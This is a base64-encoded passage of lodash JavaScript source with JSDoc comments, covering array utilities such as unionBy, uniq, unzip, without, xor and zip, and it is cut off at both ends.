IGlzQXJyYXlMaWtlT2JqZWN0LCB0cnVlKSk7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLnVuaW9uYCBleGNlcHQgdGhhdCBpdCBhY2NlcHRzIGBpdGVyYXRlZWAgd2hpY2ggaXNcbiAgICAgKiBpbnZva2VkIGZvciBlYWNoIGVsZW1lbnQgb2YgZWFjaCBgYXJyYXlzYCB0byBnZW5lcmF0ZSB0aGUgY3JpdGVyaW9uIGJ5XG4gICAgICogd2hpY2ggdW5pcXVlbmVzcyBpcyBjb21wdXRlZC4gUmVzdWx0IHZhbHVlcyBhcmUgY2hvc2VuIGZyb20gdGhlIGZpcnN0XG4gICAgICogYXJyYXkgaW4gd2hpY2ggdGhlIHZhbHVlIG9jY3Vycy4gVGhlIGl0ZXJhdGVlIGlzIGludm9rZWQgd2l0aCBvbmUgYXJndW1lbnQ6XG4gICAgICogKHZhbHVlKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7Li4uQXJyYXl9IFthcnJheXNdIFRoZSBhcnJheXMgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbaXRlcmF0ZWU9Xy5pZGVudGl0eV0gVGhlIGl0ZXJhdGVlIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgYXJyYXkgb2YgY29tYmluZWQgdmFsdWVzLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnVuaW9uQnkoWzIuMV0sIFsxLjIsIDIuM10sIE1hdGguZmxvb3IpO1xuICAgICAqIC8vID0+IFsyLjEsIDEuMl1cbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5wcm9wZXJ0eWAgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8udW5pb25CeShbeyAneCc6IDEgfV0sIFt7ICd4JzogMiB9LCB7ICd4JzogMSB9XSwgJ3gnKTtcbiAgICAgKiAvLyA9PiBbeyAneCc6IDEgfSwgeyAneCc6IDIgfV1cbiAgICAgKi9cbiAgICB2YXIgdW5pb25CeSA9IGJhc2VSZXN0KGZ1bmN0aW9uKGFycmF5cykge1xuICAgICAgdmFyIGl0ZXJhdGVlID0gbGFzdChhcnJheXMpO1xuICAgICAgaWYgKGlzQXJyYXlMaWtlT2JqZWN0KGl0ZXJhdGVlKSkge1xuICAgICAgICBpdGVyYXRlZSA9IHVuZGVmaW5lZDtcbiAgICAgIH1cbiAgICAgIHJldHVybiBiYXNlVW5pcShiYXNlRmxhdHRlbihhcnJheXMsIDEsIGlzQXJyYXlMaWtlT2JqZWN0LCB0cnVlKSwgZ2V0SXRlcmF0ZWUoaXRlcmF0ZWUsIDIpKTtcbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8udW5pb25gIGV4Y2VwdCB0aGF0IGl0IGFjY2VwdHMgYGNvbXBhcmF0b3JgIHdoaWNoXG4gICAgICogaXMgaW52b2tlZCB0byBjb21wYXJlIGVsZW1lbnRzIG9mIGBhcnJheXNgLiBSZXN1bHQgdmFsdWVzIGFyZSBjaG9zZW4gZnJvbVxuICAgICAqIHRoZSBmaXJzdCBhcnJheSBpbiB3aGljaCB0aGUgdmFsdWUgb2NjdXJzLiBUaGUgY29tcGFyYXRvciBpcyBpbnZva2VkXG4gICAgICogd2l0aCB0d28gYXJndW1lbnRzOiAoYXJyVmFsLCBvdGhWYWwpLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHsuLi5BcnJheX0gW2FycmF5c10gVGhlIGFycmF5cyB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtjb21wYXJhdG9yXSBUaGUgY29tcGFyYXRvciBpbnZva2VkIHBlciBlbGVtZW50LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IGFycmF5IG9mIGNvbWJpbmVkIHZhbHVlcy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdHMgPSBbeyAneCc6IDEsICd5JzogMiB9LCB7ICd4JzogMiwgJ3knOiAxIH1dO1xuICAgICAqIHZhciBvdGhlcnMgPSBbeyAneCc6IDEsICd5JzogMSB9LCB7ICd4JzogMSwgJ3knOiAyIH1dO1xuICAgICAqXG4gICAgICogXy51bmlvbldpdGgob2JqZWN0cywgb3RoZXJzLCBfLmlzRXF1YWwpO1xuICAgICAqIC8vID0+IFt7ICd4JzogMSwgJ3knOiAyIH0sIHsgJ3gnOiAyLCAneSc6IDEgfSwgeyAneCc6IDEsICd5JzogMSB9XVxuICAgICAqL1xuICAgIHZhciB1bmlvbldpdGggPSBiYXNlUmVzdChmdW5jdGlvbihhcnJheXMpIHtcbiAgICAgIHZhciBjb21wYXJhdG9yID0gbGFzdChhcnJheXMpO1xuICAgICAgY29tcGFyYXRvciA9IHR5cGVvZiBjb21wYXJhdG9yID09ICdmdW5jdGlvbicgPyBjb21wYXJhdG9yIDogdW5kZWZpbmVkO1xuICAgICAgcmV0dXJuIGJhc2VVbmlxKGJhc2VGbGF0dGVuKGFycmF5cywgMSwgaXNBcnJheUxpa2VPYmplY3QsIHRydWUpLCB1bmRlZmluZWQsIGNvbXBhcmF0b3IpO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGR1cGxpY2F0ZS1mcmVlIHZlcnNpb24gb2YgYW4gYXJyYXksIHVzaW5nXG4gICAgICogW2BTYW1lVmFsdWVaZXJvYF0oaHR0cDovL2VjbWEtaW50ZXJuYXRpb25hbC5vcmcvZWNtYS0yNjIvNy4wLyNzZWMtc2FtZXZhbHVlemVybylcbiAgICAgKiBmb3IgZXF1YWxpdHkgY29tcGFyaXNvbnMsIGluIHdoaWNoIG9ubHkgdGhlIGZpcnN0IG9jY3VycmVuY2Ugb2YgZWFjaCBlbGVtZW50XG4gICAgICogaXMga2VwdC4gVGhlIG9yZGVyIG9mIHJlc3VsdCB2YWx1ZXMgaXMgZGV0ZXJtaW5lZCBieSB0aGUgb3JkZXIgdGhleSBvY2N1clxuICAgICAqIGluIHRoZSBhcnJheS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBpbnNwZWN0LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IGR1cGxpY2F0ZSBmcmVlIGFycmF5LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnVuaXEoWzIsIDEsIDJdKTtcbiAgICAgKiAvLyA9PiBbMiwgMV1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB1bmlxKGFycmF5KSB7XG4gICAgICByZXR1cm4gKGFycmF5ICYmIGFycmF5Lmxlbmd0aCkgPyBiYXNlVW5pcShhcnJheSkgOiBbXTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLnVuaXFgIGV4Y2VwdCB0aGF0IGl0IGFjY2VwdHMgYGl0ZXJhdGVlYCB3aGljaCBpc1xuICAgICAqIGludm9rZWQgZm9yIGVhY2ggZWxlbWVudCBpbiBgYXJyYXlgIHRvIGdlbmVyYXRlIHRoZSBjcml0ZXJpb24gYnkgd2hpY2hcbiAgICAgKiB1bmlxdWVuZXNzIGlzIGNvbXB1dGVkLiBUaGUgb3JkZXIgb2YgcmVzdWx0IHZhbHVlcyBpcyBkZXRlcm1pbmVkIGJ5IHRoZVxuICAgICAqIG9yZGVyIHRoZXkgb2NjdXIgaW4gdGhlIGFycmF5LiBUaGUgaXRlcmF0ZWUgaXMgaW52b2tlZCB3aXRoIG9uZSBhcmd1bWVudDpcbiAgICAgKiAodmFsdWUpLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2l0ZXJhdGVlPV8uaWRlbnRpdHldIFRoZSBpdGVyYXRlZSBpbnZva2VkIHBlciBlbGVtZW50LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IGR1cGxpY2F0ZSBmcmVlIGFycmF5LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnVuaXFCeShbMi4xLCAxLjIsIDIuM10sIE1hdGguZmxvb3IpO1xuICAgICAqIC8vID0+IFsyLjEsIDEuMl1cbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5wcm9wZXJ0eWAgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8udW5pcUJ5KFt7ICd4JzogMSB9LCB7ICd4JzogMiB9LCB7ICd4JzogMSB9XSwgJ3gnKTtcbiAgICAgKiAvLyA9PiBbeyAneCc6IDEgfSwgeyAneCc6IDIgfV1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB1bmlxQnkoYXJyYXksIGl0ZXJhdGVlKSB7XG4gICAgICByZXR1cm4gKGFycmF5ICYmIGFycmF5Lmxlbmd0aCkgPyBiYXNlVW5pcShhcnJheSwgZ2V0SXRlcmF0ZWUoaXRlcmF0ZWUsIDIpKSA6IFtdO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8udW5pcWAgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBgY29tcGFyYXRvcmAgd2hpY2hcbiAgICAgKiBpcyBpbnZva2VkIHRvIGNvbXBhcmUgZWxlbWVudHMgb2YgYGFycmF5YC4gVGhlIG9yZGVyIG9mIHJlc3VsdCB2YWx1ZXMgaXNcbiAgICAgKiBkZXRlcm1pbmVkIGJ5IHRoZSBvcmRlciB0aGV5IG9jY3VyIGluIHRoZSBhcnJheS5UaGUgY29tcGFyYXRvciBpcyBpbnZva2VkXG4gICAgICogd2l0aCB0d28gYXJndW1lbnRzOiAoYXJyVmFsLCBvdGhWYWwpLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2NvbXBhcmF0b3JdIFRoZSBjb21wYXJhdG9yIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgZHVwbGljYXRlIGZyZWUgYXJyYXkuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3RzID0gW3sgJ3gnOiAxLCAneSc6IDIgfSwgeyAneCc6IDIsICd5JzogMSB9LCB7ICd4JzogMSwgJ3knOiAyIH1dO1xuICAgICAqXG4gICAgICogXy51bmlxV2l0aChvYmplY3RzLCBfLmlzRXF1YWwpO1xuICAgICAqIC8vID0+IFt7ICd4JzogMSwgJ3knOiAyIH0sIHsgJ3gnOiAyLCAneSc6IDEgfV1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB1bmlxV2l0aChhcnJheSwgY29tcGFyYXRvcikge1xuICAgICAgY29tcGFyYXRvciA9IHR5cGVvZiBjb21wYXJhdG9yID09ICdmdW5jdGlvbicgPyBjb21wYXJhdG9yIDogdW5kZWZpbmVkO1xuICAgICAgcmV0dXJuIChhcnJheSAmJiBhcnJheS5sZW5ndGgpID8gYmFzZVVuaXEoYXJyYXksIHVuZGVmaW5lZCwgY29tcGFyYXRvcikgOiBbXTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLnppcGAgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBhbiBhcnJheSBvZiBncm91cGVkXG4gICAgICogZWxlbWVudHMgYW5kIGNyZWF0ZXMgYW4gYXJyYXkgcmVncm91cGluZyB0aGUgZWxlbWVudHMgdG8gdGhlaXIgcHJlLXppcFxuICAgICAqIGNvbmZpZ3VyYXRpb24uXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMS4yLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgb2YgZ3JvdXBlZCBlbGVtZW50cyB0byBwcm9jZXNzLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IGFycmF5IG9mIHJlZ3JvdXBlZCBlbGVtZW50cy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIHppcHBlZCA9IF8uemlwKFsnYScsICdiJ10sIFsxLCAyXSwgW3RydWUsIGZhbHNlXSk7XG4gICAgICogLy8gPT4gW1snYScsIDEsIHRydWVdLCBbJ2InLCAyLCBmYWxzZV1dXG4gICAgICpcbiAgICAgKiBfLnVuemlwKHppcHBlZCk7XG4gICAgICogLy8gPT4gW1snYScsICdiJ10sIFsxLCAyXSwgW3RydWUsIGZhbHNlXV1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB1bnppcChhcnJheSkge1xuICAgICAgaWYgKCEoYXJyYXkgJiYgYXJyYXkubGVuZ3RoKSkge1xuICAgICAgICByZXR1cm4gW107XG4gICAgICB9XG4gICAgICB2YXIgbGVuZ3RoID0gMDtcbiAgICAgIGFycmF5ID0gYXJyYXlGaWx0ZXIoYXJyYXksIGZ1bmN0aW9uKGdyb3VwKSB7XG4gICAgICAgIGlmIChpc0FycmF5TGlrZU9iamVjdChncm91cCkpIHtcbiAgICAgICAgICBsZW5ndGggPSBuYXRpdmVNYXgoZ3JvdXAubGVuZ3RoLCBsZW5ndGgpO1xuICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9XG4gICAgICB9KTtcbiAgICAgIHJldHVybiBiYXNlVGltZXMobGVuZ3RoLCBmdW5jdGlvbihpbmRleCkge1xuICAgICAgICByZXR1cm4gYXJyYXlNYXAoYXJyYXksIGJhc2VQcm9wZXJ0eShpbmRleCkpO1xuICAgICAgfSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy51bnppcGAgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBgaXRlcmF0ZWVgIHRvIHNwZWNpZnlcbiAgICAgKiBob3cgcmVncm91cGVkIHZhbHVlcyBzaG91bGQgYmUgY29tYmluZWQuIFRoZSBpdGVyYXRlZSBpcyBpbnZva2VkIHdpdGggdGhlXG4gICAgICogZWxlbWVudHMgb2YgZWFjaCBncm91cDogKC4uLmdyb3VwKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjguMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSBvZiBncm91cGVkIGVsZW1lbnRzIHRvIHByb2Nlc3MuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2l0ZXJhdGVlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiB0byBjb21iaW5lXG4gICAgICogIHJlZ3JvdXBlZCB2YWx1ZXMuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgYXJyYXkgb2YgcmVncm91cGVkIGVsZW1lbnRzLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgemlwcGVkID0gXy56aXAoWzEsIDJdLCBbMTAsIDIwXSwgWzEwMCwgMjAwXSk7XG4gICAgICogLy8gPT4gW1sxLCAxMCwgMTAwXSwgWzIsIDIwLCAyMDBdXVxuICAgICAqXG4gICAgICogXy51bnppcFdpdGgoemlwcGVkLCBfLmFkZCk7XG4gICAgICogLy8gPT4gWzMsIDMwLCAzMDBdXG4gICAgICovXG4gICAgZnVuY3Rpb24gdW56aXBXaXRoKGFycmF5LCBpdGVyYXRlZSkge1xuICAgICAgaWYgKCEoYXJyYXkgJiYgYXJyYXkubGVuZ3RoKSkge1xuICAgICAgICByZXR1cm4gW107XG4gICAgICB9XG4gICAgICB2YXIgcmVzdWx0ID0gdW56aXAoYXJyYXkpO1xuICAgICAgaWYgKGl0ZXJhdGVlID09IG51bGwpIHtcbiAgICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICAgIH1cbiAgICAgIHJldHVybiBhcnJheU1hcChyZXN1bHQsIGZ1bmN0aW9uKGdyb3VwKSB7XG4gICAgICAgIHJldHVybiBhcHBseShpdGVyYXRlZSwgdW5kZWZpbmVkLCBncm91cCk7XG4gICAgICB9KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGFuIGFycmF5IGV4Y2x1ZGluZyBhbGwgZ2l2ZW4gdmFsdWVzIHVzaW5nXG4gICAgICogW2BTYW1lVmFsdWVaZXJvYF0oaHR0cDovL2VjbWEtaW50ZXJuYXRpb25hbC5vcmcvZWNtYS0yNjIvNy4wLyNzZWMtc2FtZXZhbHVlemVybylcbiAgICAgKiBmb3IgZXF1YWxpdHkgY29tcGFyaXNvbnMuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVW5saWtlIGBfLnB1bGxgLCB0aGlzIG1ldGhvZCByZXR1cm5zIGEgbmV3IGFycmF5LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHsuLi4qfSBbdmFsdWVzXSBUaGUgdmFsdWVzIHRvIGV4Y2x1ZGUuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgYXJyYXkgb2YgZmlsdGVyZWQgdmFsdWVzLlxuICAgICAqIEBzZWUgXy5kaWZmZXJlbmNlLCBfLnhvclxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLndpdGhvdXQoWzIsIDEsIDIsIDNdLCAxLCAyKTtcbiAgICAgKiAvLyA9PiBbM11cbiAgICAgKi9cbiAgICB2YXIgd2l0aG91dCA9IGJhc2VSZXN0KGZ1bmN0aW9uKGFycmF5LCB2YWx1ZXMpIHtcbiAgICAgIHJldHVybiBpc0FycmF5TGlrZU9iamVjdChhcnJheSlcbiAgICAgICAgPyBiYXNlRGlmZmVyZW5jZShhcnJheSwgdmFsdWVzKVxuICAgICAgICA6IFtdO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiB1bmlxdWUgdmFsdWVzIHRoYXQgaXMgdGhlXG4gICAgICogW3N5bW1ldHJpYyBkaWZmZXJlbmNlXShodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9TeW1tZXRyaWNfZGlmZmVyZW5jZSlcbiAgICAgKiBvZiB0aGUgZ2l2ZW4gYXJyYXlzLiBUaGUgb3JkZXIgb2YgcmVzdWx0IHZhbHVlcyBpcyBkZXRlcm1pbmVkIGJ5IHRoZSBvcmRlclxuICAgICAqIHRoZXkgb2NjdXIgaW4gdGhlIGFycmF5cy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAyLjQuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7Li4uQXJyYXl9IFthcnJheXNdIFRoZSBhcnJheXMgdG8gaW5zcGVjdC5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIG5ldyBhcnJheSBvZiBmaWx0ZXJlZCB2YWx1ZXMuXG4gICAgICogQHNlZSBfLmRpZmZlcmVuY2UsIF8ud2l0aG91dFxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnhvcihbMiwgMV0sIFsyLCAzXSk7XG4gICAgICogLy8gPT4gWzEsIDNdXG4gICAgICovXG4gICAgdmFyIHhvciA9IGJhc2VSZXN0KGZ1bmN0aW9uKGFycmF5cykge1xuICAgICAgcmV0dXJuIGJhc2VYb3IoYXJyYXlGaWx0ZXIoYXJyYXlzLCBpc0FycmF5TGlrZU9iamVjdCkpO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy54b3JgIGV4Y2VwdCB0aGF0IGl0IGFjY2VwdHMgYGl0ZXJhdGVlYCB3aGljaCBpc1xuICAgICAqIGludm9rZWQgZm9yIGVhY2ggZWxlbWVudCBvZiBlYWNoIGBhcnJheXNgIHRvIGdlbmVyYXRlIHRoZSBjcml0ZXJpb24gYnlcbiAgICAgKiB3aGljaCBieSB3aGljaCB0aGV5J3JlIGNvbXBhcmVkLiBUaGUgb3JkZXIgb2YgcmVzdWx0IHZhbHVlcyBpcyBkZXRlcm1pbmVkXG4gICAgICogYnkgdGhlIG9yZGVyIHRoZXkgb2NjdXIgaW4gdGhlIGFycmF5cy4gVGhlIGl0ZXJhdGVlIGlzIGludm9rZWQgd2l0aCBvbmVcbiAgICAgKiBhcmd1bWVudDogKHZhbHVlKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7Li4uQXJyYXl9IFthcnJheXNdIFRoZSBhcnJheXMgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbaXRlcmF0ZWU9Xy5pZGVudGl0eV0gVGhlIGl0ZXJhdGVlIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgYXJyYXkgb2YgZmlsdGVyZWQgdmFsdWVzLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnhvckJ5KFsyLjEsIDEuMl0sIFsyLjMsIDMuNF0sIE1hdGguZmxvb3IpO1xuICAgICAqIC8vID0+IFsxLjIsIDMuNF1cbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5wcm9wZXJ0eWAgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8ueG9yQnkoW3sgJ3gnOiAxIH1dLCBbeyAneCc6IDIgfSwgeyAneCc6IDEgfV0sICd4Jyk7XG4gICAgICogLy8gPT4gW3sgJ3gnOiAyIH1dXG4gICAgICovXG4gICAgdmFyIHhvckJ5ID0gYmFzZVJlc3QoZnVuY3Rpb24oYXJyYXlzKSB7XG4gICAgICB2YXIgaXRlcmF0ZWUgPSBsYXN0KGFycmF5cyk7XG4gICAgICBpZiAoaXNBcnJheUxpa2VPYmplY3QoaXRlcmF0ZWUpKSB7XG4gICAgICAgIGl0ZXJhdGVlID0gdW5kZWZpbmVkO1xuICAgICAgfVxuICAgICAgcmV0dXJuIGJhc2VYb3IoYXJyYXlGaWx0ZXIoYXJyYXlzLCBpc0FycmF5TGlrZU9iamVjdCksIGdldEl0ZXJhdGVlKGl0ZXJhdGVlLCAyKSk7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLnhvcmAgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBgY29tcGFyYXRvcmAgd2hpY2ggaXNcbiAgICAgKiBpbnZva2VkIHRvIGNvbXBhcmUgZWxlbWVudHMgb2YgYGFycmF5c2AuIFRoZSBvcmRlciBvZiByZXN1bHQgdmFsdWVzIGlzXG4gICAgICogZGV0ZXJtaW5lZCBieSB0aGUgb3JkZXIgdGhleSBvY2N1ciBpbiB0aGUgYXJyYXlzLiBUaGUgY29tcGFyYXRvciBpcyBpbnZva2VkXG4gICAgICogd2l0aCB0d28gYXJndW1lbnRzOiAoYXJyVmFsLCBvdGhWYWwpLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHsuLi5BcnJheX0gW2FycmF5c10gVGhlIGFycmF5cyB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtjb21wYXJhdG9yXSBUaGUgY29tcGFyYXRvciBpbnZva2VkIHBlciBlbGVtZW50LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IGFycmF5IG9mIGZpbHRlcmVkIHZhbHVlcy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdHMgPSBbeyAneCc6IDEsICd5JzogMiB9LCB7ICd4JzogMiwgJ3knOiAxIH1dO1xuICAgICAqIHZhciBvdGhlcnMgPSBbeyAneCc6IDEsICd5JzogMSB9LCB7ICd4JzogMSwgJ3knOiAyIH1dO1xuICAgICAqXG4gICAgICogXy54b3JXaXRoKG9iamVjdHMsIG90aGVycywgXy5pc0VxdWFsKTtcbiAgICAgKiAvLyA9PiBbeyAneCc6IDIsICd5JzogMSB9LCB7ICd4JzogMSwgJ3knOiAxIH1dXG4gICAgICovXG4gICAgdmFyIHhvcldpdGggPSBiYXNlUmVzdChmdW5jdGlvbihhcnJheXMpIHtcbiAgICAgIHZhciBjb21wYXJhdG9yID0gbGFzdChhcnJheXMpO1xuICAgICAgY29tcGFyYXRvciA9IHR5cGVvZiBjb21wYXJhdG9yID09ICdmdW5jdGlvbicgPyBjb21wYXJhdG9yIDogdW5kZWZpbmVkO1xuICAgICAgcmV0dXJuIGJhc2VYb3IoYXJyYXlGaWx0ZXIoYXJyYXlzLCBpc0FycmF5TGlrZU9iamVjdCksIHVuZGVmaW5lZCwgY29tcGFyYXRvcik7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGFuIGFycmF5IG9mIGdyb3VwZWQgZWxlbWVudHMsIHRoZSBmaXJzdCBvZiB3aGljaCBjb250YWlucyB0aGVcbiAgICAgKiBmaXJzdCBlbGVtZW50cyBvZiB0aGUgZ2l2ZW4gYXJyYXlzLCB0aGUgc2Vjb25kIG9mIHdoaWNoIGNvbnRhaW5zIHRoZVxuICAgICAqIHNlY29uZCBlbGVtZW50cyBvZiB0aGUgZ2l2ZW4gYXJyYXlzLCBhbmQgc28gb24uXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0gey4uLkFycmF5fSBbYXJyYXlzXSBUaGUgYXJyYXlzIHRvIHByb2Nlc3MuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgYXJyYXkgb2YgZ3JvdXBlZCBlbGVtZW50cy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy56aXAoWydhJywgJ2InXSwgWzEsIDJdLCBbdHJ1ZSwgZmFsc2VdKTtcbiAgICAgKiAvLyA9PiBbWydhJywgMSwgdHJ1ZV0sIFsnYicsIDIsIGZhbHNlXV1cbiAgICAgKi9cbiAgICB2YXIgemlwID0gYmFzZVJlc3QodW56aXApO1xuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5mcm9tUGFpcnNgIGV4Y2VwdCB0aGF0IGl0IGFjY2VwdHMgdHdvIGFycmF5cyxcbiAgICAgKiBvbmUgb2YgcHJvcGVydHkgaWRlbnRpZmllcnMgYW5kIG9uZSBvZiBjb3JyZXNwb25kaW5nIHZhbHVlcy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjQuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IFtwcm9wcz1bXV0gVGhlIHByb3BlcnR5IGlkZW50aWZpZXJzLlxuICAgICAqIEBwYXJhbSB7QXJyYXl9IFt2YWx1ZXM9W11dIFR